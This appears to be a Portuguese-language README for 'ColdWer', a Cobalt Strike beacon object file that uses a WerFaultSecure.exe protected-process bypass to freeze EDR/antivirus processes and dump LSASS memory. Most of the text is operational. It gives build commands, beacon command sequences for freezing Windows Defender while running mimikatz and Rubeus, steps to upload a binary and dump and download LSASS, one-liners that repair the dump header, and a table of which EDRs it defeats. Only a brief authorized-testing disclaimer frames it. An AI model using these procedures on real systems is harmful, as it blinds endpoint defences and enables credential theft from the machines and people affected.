
Cobalt Strike BOF para congelar processos de EDR/AV e despejar LSASS usando o bypass PPL do WerFaultSecure.exe
Uma guerra fria no seu endpoint.
ColdWer usa o bypass de PPL do WerFaultSecure.exe para congelar processos de EDR/AV e despejar a memória do LSASS em sistemas Windows modernos.
C O L D W E R
└─┴─┴── WerFaultSecure
└─┴──────── LSASS Dump
└─┴──────────── Cold (Freeze)
Congele seu EDR/AV. Extraia o que precisa. Fique frio.
Sh3llf1r3 (@0xsh3llf1r3)
Este projeto se baseia em pesquisas de TwoSevenOneT (@TwoSevenOneT):
| Projeto | Descrição |
|---|---|
| EDR-Freeze | Técnica original de congelamento de EDR |
| WSASS | Despejo do LSASS via WerFaultSecure |
Todo crédito pelas técnicas subjacentes vai para TwoSevenOneT.
git clone https://github.com/0xsh3llf1r3/ColdWer.git
cw/coldwer.cna# Navegue para o diretório de origem
cd src/
# Compile o BOF (requer MinGW)
make
# Ou manualmente:
x86_64-w64-mingw32-gcc -c coldwer.c -o ../cw/coldwer.o
coldwer.o e coldwer.cnacoldwer.cna no Cobalt Strike# Encontre o PID do Windows Defender
beacon> ps
# Congele o processo
beacon> cw-freeze 1337
# Execute seus comandos enquanto o EDR/AV está congelado
beacon> mimikatz sekurlsa::logonpasswords
beacon> execute-assembly /tools/Rubeus.exe triage
# Descongele quando terminar
beacon> cw-unfreeze
# Passo 1: Faça upload do WerFaultSecure.exe do Win8.1
beacon> cd C:\Windows\Temp
beacon> upload /path/to/bin/wfs.exe
# Passo 2: Encontre o PID do LSASS
beacon> ps
# Passo 3: Despeje o LSASS
beacon> cw-dump 314 C:\Windows\Temp\wfs.exe
# Passo 4: Baixe o despejo
beacon> download C:\Windows\Temp\lsass.dmp
Altere o cabeçalho do arquivo para restaurar o formato minidump:
| Original (PNG) | Alterar para (MDMP) |
|---|---|
89 50 4E 47 | 4D 44 4D 50 |
Comandos para restaurar o cabeçalho:
| Método | Comando |
|---|---|
| Python | open('lsass.dmp','r+b').write(b'MDMP') |
| Bash | printf '\x4d\x44\x4d\x50' | dd of=lsass.dmp bs=1 count=4 conv=notrunc |
| PowerShell | $f=[IO.File]::Open("lsass.dmp","Open","Write");$f.Write([byte[]](0x4D,0x44,0x4D,0x50),0,4);$f.Close() |
Em seguida, analise com o Mimikatz:
mimikatz# sekurlsa::minidump lsass.dmp
mimikatz# sekurlsa::logonpasswords
| Comando | Descrição |
|---|---|
cw-freeze <PID> [Path] | Congelar processo |
cw-unfreeze | Descongelar processo anteriormente congelado |
cw-dump <PID> <Path> | Despejar memória do LSASS |
# Congelar com caminho padrão
beacon> cw-freeze 1337
# Usar WerFaultSecure.exe customizado
beacon> cw-freeze 1337 C:\Windows\Temp\wfs.exe
# Despejar LSASS
beacon> cw-dump 314 C:\Windows\Temp\wfs.exe
# Descongelar quando terminar
beacon> cw-unfreeze
| Alvo | Status |
|---|---|
| Windows Defender (MsMpEng.exe) | ✅ Funciona |
| LSASS (lsass.exe) | ✅ Funciona |
| Outros processos PPL | ✅ Funciona |
NÃO funciona contra EDRs com autoproteção em modo kernel:
| EDR | Status |
|---|---|
| Elastic Endpoint | ❌ Bloqueado |
| CrowdStrike Falcon | ❌ Bloqueado |
| SentinelOne | ❌ Bloqueado |
| Carbon Black | ❌ Bloqueado |
1. 🚀 Inicie o WerFaultSecure.exe como PPL (nível WinTcb)
↓
2. 🎯 WerFaultSecure anexa ao processo alvo
↓
3. ⏸️ MiniDumpWriteDump suspende todas as threads do alvo
↓
4. 🥶 Suspenda o próprio WerFaultSecure → O alvo permanece congelado
↓
5. ✅ Execute seus comandos (o EDR/AV não pode ver!)
↓
6. 🔥 Encerre o WerFaultSecure → O alvo descongela
| Versão | Saída |
|---|---|
| Windows 10/11 | Apenas despejo criptografado |
| Windows 8.1 | Despejo bruto não criptografado |
⚠️ APENAS PARA TESTES DE SEGURANÇA AUTORIZADOS
Esta ferramenta destina-se a:
- Testes de penetração autorizados
- Operações de red team com permissão por escrito
- Pesquisa de segurança em ambientes controlados
O autor não é responsável por qualquer uso indevido ou dano causado por esta ferramenta.
O acesso não autorizado a sistemas de computador é ilegal.
Licença MIT - Veja LICENSE
🥶 Fique Frio. Fique Quieto. 🥶
⭐ Dê uma estrela neste repositório se achar útil! ⭐
| Funcionalidade | Descrição |
|---|
| ❄️ Congelar | Coloca processos de EDR/AV em estado de coma |
| 🔓 Despejar | Extrai memória do LSASS contornando o PPL |
| 🛡️ Bypass de PPL | Utiliza o WerFaultSecure.exe no nível WinTcb |
| ⚡ Rápido | Execução inline de BOF |
| 🎯 Controle Manual | Você decide quando congelar e descongelar |
| Erro | Causa | Solução |
|---|
| Arquivo não encontrado | Caminho inválido | Verifique o caminho do WerFaultSecure.exe |
| Acesso negado | Privilégios baixos | Execute como Administrador/SYSTEM |
| Assinatura inválida | Binário não assinado | Use um WerFaultSecure.exe devidamente assinado |
| O processo não existe | PID incorreto | Verifique o PID com o comando ps |
| Alvo protegido | Proteção de kernel | O EDR tem autoproteção (não contornável) |
| Já congelado | Estado travado | Execute cw-unfreeze primeiro |